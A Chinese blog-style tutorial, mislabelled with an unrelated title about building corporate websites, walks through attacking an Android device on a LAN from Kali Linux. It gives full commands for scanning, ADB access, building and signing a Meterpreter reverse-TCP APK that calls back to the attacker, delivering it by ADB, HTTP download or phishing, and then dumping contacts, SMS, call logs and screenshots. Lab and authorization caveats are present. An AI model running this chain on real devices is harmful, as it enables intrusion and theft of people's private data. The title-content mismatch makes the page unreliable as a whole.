企业官网建设流程全解析

这篇笔记是Kali攻防系列的第二篇，重点聊内网环境里针对安卓系统的完整渗透过程：Kali Linux做攻击机，目标是内网中一台开启了调试模式的安卓设备。攻击路径从信息收集开始，到生成恶意APK、签名、投递，最终在MSF里拿到Meterpreter会话。整个过程全部在自建实验环境完成，不涉及任何真实目标网络，适合正在学习渗透测试、准备攻防演练的读者参考。说实话，移动端在内网里往往比PC更容易被忽略，但一旦被利用，价值并不低。

我尽量把每一步的命令、原理、踩坑点都写清楚，尤其是那些文档里不会提、只有实际操作才会踩到的细节。哪怕你是第一次接触Kali和MSF，按照这套流程走下来，也能把环境跑通。

1. 从场景说起：为什么要在内网里“打”安卓

1.1 内网与公网渗透的思路差异

公网渗透面对的是暴露在互联网上的资产，攻击面基本被防火墙、WAF筛过一遍，暴露出来的端口虽然多，但防护一般也做得更谨慎。内网则完全不一样，很多管理员默认“内网设备是可信的”，流量不进边界防护设备，设备之间可以直接访问。这时候只要有一台Kali进入内网，能看到的就不是几个门户网站，而是一大堆真实运行的主机和服务。

打个比方，公网渗透像在陌生城市里找一家没挂招牌的店，你得先知道地址、绕过门卫；内网渗透更像已经进了办公楼，一栋楼里每间房都开着门，你只需要挨个敲门看哪个没上锁。安卓设备就是这些房间里最容易忽视的一种：办公区的大屏一体机、会议室平板、门禁终端、车机、收银设备，它们有网络、有系统，很多还常年开着ADB调试。

1.2 安卓设备为什么会成为突破口

安卓系统的ADB（Android Debug Bridge）本来是给开发者用的调试工具，默认情况下走USB连接，不会暴露到网络上。问题就在于，很多定制ROM、机顶盒、车机、广告屏为了方便运维，会直接开启“网络ADB”功能，也就是让adbd监听TCP 5555端口。这个端口在内网里没有密码保护，只要能连通，谁都能尝试连上去执行shell命令。

设备碎片化也加剧了这个问题。安卓版本从4.x到14.x都有设备在跑，厂商停止维护之后，系统漏洞不会修复。再加上部分设备为了功能稳定，会关闭SELinux或者放宽权限，攻击者利用起来难度并不高。所以内网里一台不起眼的安卓设备，往往就是横向移动里的那个“跳板”。

1.3 明确实验边界

说句不好听的，内网渗透测试做多了，最容易膨胀。但这条线必须清楚：所有测试只能在你自己拥有的设备、或者拿到书面授权的目标上进行。别拿同事手机练手，也别扫描邻居家的智能家居。本篇文章中的任何命令和代码，如果你用在未经授权的目标上，后果需要自己承担。技术本身是中性的，但使用边界不能含糊。

2. 实验环境搭建：先把靶子和攻击机准备好

2.1 Kali侧需要准备什么

Kali Linux默认自带Metasploit Framework，但版本可能不是最新，建议先更新一下。另外还需要JDK（用于APK签名）、ADB工具和Nmap，这些是后面绕不开的。安装命令如下：

sudo apt update sudo apt install -y metasploit-framework default-jdk adb nmap

装完之后检查一下版本，确保命令能正常找到：

msfconsole -v nmap --version adb version

这里有个容易被忽略的点：生成恶意APK和签名需要JDK，但Kali默认不一定装了default-jdk，很多教程直接让你跑keytool和jarsigner，结果报“command not found”。提前装好能省很多事。

2.2 安卓靶机怎么选

我建议入门阶段优先选真机或Genymotion模拟器。Android Studio自带的AVD模拟器共享宿主机网络，如果Kali是独立虚拟机，得额外做端口转发才能让Kali连上模拟器，对新手不友好。Genymotion默认网络模式可以桥接到物理网卡，模拟器能直接获得和Kali同一网段的IP，流程顺畅很多。

真机操作也不复杂：

1. 进入“设置 -> 关于手机”，连续点击“版本号”7次，开启开发者模式。
2. 在“开发者选项”中打开“USB调试”。
3. 用USB线连接电脑，执行adb devices确认设备识别。
4. 执行adb tcpip 5555，让adbd开始监听TCP 5555端口。
5. 拔掉USB线，执行adb connect 192.168.x.x:5555，验证网络连接。

注意，adb tcpip 5555这条命令要求手机在命令执行时仍然通过USB连接着电脑。一旦切换成网络模式，手机Wi-Fi保持开启即可，但Android 11以上设备可能会对无线调试有额外限制，后面常见问题里会细说。

2.3 网络规划与连通性验证

Kali和安卓靶机必须处在同一个网段。我实验环境里的规划大致是这样的：

先确认Kali自己的IP，避免后面payload填错地址：

ip a

然后测试到靶机的连通性：

ping 192.168.1.20 adb connect 192.168.1.20:5555 adb shell getprop ro.product.model

如果最后一条命令返回了设备型号，说明网络ADB已经正常。到这里实验环境就算准备好了。

3. 内网信息收集：怎么找到这台安卓设备

3.1 主机存活探测

在一个典型的/24内网里，设备数量可能从十几台到两百多台不等。信息收集第一步是把“活”的主机找出来。最常用的两个命令：

nmap -sn 192.168.1.0/24 arp-scan -l

nmap -sn会做Ping扫描，速度快，结果清晰。arp-scan -l则直接基于ARP协议在内网里发广播请求，局域网环境里响应速度非常快，而且不会留下太多连接日志。两者搭配使用，基本能覆盖大部分情况。

如果扫描结果里出现一个未知IP，比如192.168.1.20，下一步就是对它做端口扫描，确认它是什么设备。

3.2 端口扫描与设备指纹识别

第一次扫描建议只扫常见端口，不要直接全端口扫，减少噪音也节省时间。针对安卓设备，重点关注这几个端口：

• 5555：ADB网络调试端口，命中基本就是安卓设备。
• 8080 / 8443：部分设备的管理面板或Web服务。
• 22：SSH，某些定制ROM会开启。
• 80：内置Web服务或摄像头管理页。

扫描命令：

nmap -sV -p 5555,8080,8443,22,80 192.168.1.20

-sV会做服务版本识别。如果看到以下类似输出：

5555/tcp open adb 8080/tcp open http-proxy

基本可以断定这是一台开启了网络ADB的安卓设备。还可以加一层banner识别：

nmap -sV --script=banner -p 5555 192.168.1.20

有时候banner会直接返回类似Android或设备型号信息，直接实锤目标。

3.3 确认ADB状态并决定攻击路径

到这里信息收集就告一段落，接下来会根据ADB端口是否开放，走两条不同的路：

• 如果5555端口开放且能直接连接，那就简单了：直接adb connect上设备，看看能不能靠系统本身的调试接口完成后续操作。
• 如果5555没开放，说明目标没有开启网络ADB，这时候才需要走MSF生成恶意APK，诱导安装或投递到设备上。

说白了，内网信息收集就是帮你在动手前把“目标是谁”“口子在哪里”搞清楚。别一上来就放payload，那是扫街不是渗透。

4. 核心攻击路径：生成Payload、签名、投递与回连

4.1 为什么选 android/meterpreter/reverse_tcp

MSF针对安卓平台提供多个payload，最常用的是android/meterpreter/reverse_tcp。选它有几个原因：

• 它是反向连接，目标主动回连Kali，Kali只需要监听端口，不需要额外配置端口转发，在内网里适用性更好。
• Meterpreter是MSF的高级shell，Android版本提供文件系统访问、通讯录读取、短信读取、摄像头调用等接口，功能足够丰富。
• 生成APK格式简单，一条msfvenom命令即可搞定。

反向连接这个设计特别适合内网环境。内网里设备通常能主动访问其他内网IP，但如果你在目标上开启一个等待连接的端口，可能会被本机防火墙拦截。反向连接相当于“让目标自己跑过来找你”，省掉了入站方向的麻烦。

4.2 用msfvenom生成APK并签名

生成payload的命令：

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > evil.apk

参数说明：

• LHOST必须填Kali在内网里的真实IP。很多人一开始填127.0.0.1，结果payload在目标上运行后回连到自己本地，Kali这边永远等不到会话。
• LPORT自定义监听端口，不冲突就行，比如4444。
• R表示raw格式，直接输出APK二进制文件。

生成的APK默认是未签名的，安卓系统不允许安装未签名的应用，所以还需要做一次签名。先生成签名文件：

keytool -genkey -v -keystore mykey.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000

然后用jarsigner签名：

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore mykey.keystore evil.apk myalias

这里有个实测经验：签名算法建议显式指定SHA1withRSA。新版JDK默认可能使用更安全的算法，但某些老版本安卓设备反而解析不了，导致安装时报“解析包错误”。我踩过这个坑之后，就一直固定用SHA1withRSA，兼容性稳定很多。

4.3 投递安装的几种方式

APK生成签名后，接下来要想办法让它出现在目标设备上。按实验环境从简单到复杂，有三种方式：

第一种，目标已经开了网络ADB，直接推文件并安装：

adb connect 192.168.1.20:5555 adb push evil.apk /sdcard/ adb shell pm install /sdcard/evil.apk

第二种，Kali起一个临时的HTTP服务，让手机浏览器直接下载：

python3 -m http.server 8080

手机浏览器访问http://192.168.1.10:8080/evil.apk，下载后点击安装。安卓8.0以上系统默认禁止“未知来源应用”安装，需要在设置里允许当前浏览器安装应用。这一步是新手最容易卡住的地方。

第三种，模拟真实钓鱼场景，把APK改成看起来正常的名字，配合话术诱导安装。实验室环境简单验证即可，真机上不要随便尝试。

4.4 MSF监听与会话建立

Kali这边打开MSF控制台：

msfconsole

然后配置监听：

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 exploit -j

exploit -j会把监听放到后台执行，不会卡住控制台。此时如果目标设备上的APK被打开，MSF窗口会输出类似：

[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.20:xxxxx)

会话建立后，可以先跑几条命令验证权限：

sysinfo getuid

sysinfo会返回安卓版本、SDK版本和设备型号；getuid返回当前运行身份。到这里，一次完整的攻击闭环已经走通。

5. 会话建立之后：Meterpreter初步利用与权限分析

5.1 敏感数据获取

拿到Meterpreter会话后，常用的Android信息收集命令有这么几条：

dump_contacts dump_sms dump_calllog screenshot

dump_contacts和dump_sms会直接把设备上的联系人、短信数据库导出到本地。screenshot可以截取当前屏幕，常用于收集用户正在查看的内容。

不过要注意，这些功能的可用性依赖APK本身申请的权限。msfvenom默认生成的Android payload申请了一部分基础权限，但如果目标设备是Android 10以上，运行时权限控制会更严格，没有授权的话某些数据读不到。做实验时可以在安装APK环节手动允许存储和联系人权限，看看效果差异。

5.2 远程Shell与系统操作

Meterpreter里输入shell可以进入目标设备的shell环境：

shell pwd id ps -A netstat getprop ro.product.model

这些命令能帮你快速判断应用的运行身份、当前联网状态、设备型号和系统属性。比如id如果显示uid=0(root)，说明已经拿到root权限；如果显示普通应用uid，则还在沙箱里。

这里提醒一句：在shell里操作要克制，不要乱删系统文件，实验设备也可能被你搞到无法启动。先围观，再动手。

5.3 提权思路与现实边界

很多新手拿到Meterpreter会话后就急着跑getsystem，但这条命令在Android平台基本无效。原因很简单：Android的权限体系不是Linux那样一个root就完事，还有SELinux、应用沙箱等多层限制。

实际操作中，提权通常依赖两条路：

• 设备本身已经root，比如Genymotion默认就是root环境，shell后直接su就能切到root。
• 真机需要利用系统内核漏洞或厂商固件漏洞，SELinux还要一并绕过，难度不是一个量级。

所以这一章的实验重点放在“打通流程”上，真机提权放到后面单独展开。先把Meterpreter的常规操作练熟，后续再深入不迟。

5.4 任务收尾与会话清理

渗透测试不只有进去这一个环节，干净退出同样重要。实验完成后，建议按顺序做这几件事：

sessions -k 1 adb uninstall com.metasploit.stage adb tcpip 5555 # 如果原来没开，这里改成恢复状态

如果目标是模拟器，直接把模拟器恢复快照即可。把payload卸载、网络调试端口恢复原状，是一个渗透测试人员的基本职业素养。

6. 踩过的坑：常见问题速查与排查思路

6.1 高频问题速查表

这一节把实验过程中最常遇到的几个问题整理成速查表，按原因分类，方便对照排查。

6.2 某些坑只靠文档解决不了

msfvenom生成的APK体积通常有几十KB到上百KB，特征非常明显，很多手机自带的安全引擎能直接识别。这不是你操作问题，是payload本身免杀能力弱。现阶段目标是先把链路跑通，别纠结上线率。等后面掌握了编码、混淆、二次打包这些手法，再来优化免杀。

另外，实验环境尽量用独立的Wi-Fi或虚拟网络，别拿公司内网或者家里主力网络做测试。有一次我在公司内网做实验，模拟器IP和办公网段混在一起，扫描结果里冒出来一堆打印机、NAS，差点误判目标。隔离网络不光是安全要求，也是技术上避免干扰。

6.3 一点心得体会

整套流程跑下来，我最深的感受是：信息收集做得越细，后面攻击路径越清晰。很多初学者上来就生成payload，结果找半天目标都定不准，回头才发现信息收集环节太潦草。安卓设备在内网里的暴露程度，其实远高于很多人想象，ADB端口没关的设备一抓一大把，关键是你能不能意识到这个入口的价值。

做完实验记得把ADB端口关掉、payload卸载干净，就像进出房间随手锁门。下一次可以尝试的方向是：Android 11无线调试配对机制、Magisk环境下root后的进一步利用、C2框架跟Meterpreter的联动。移动端攻防这块，越往深挖越有意思。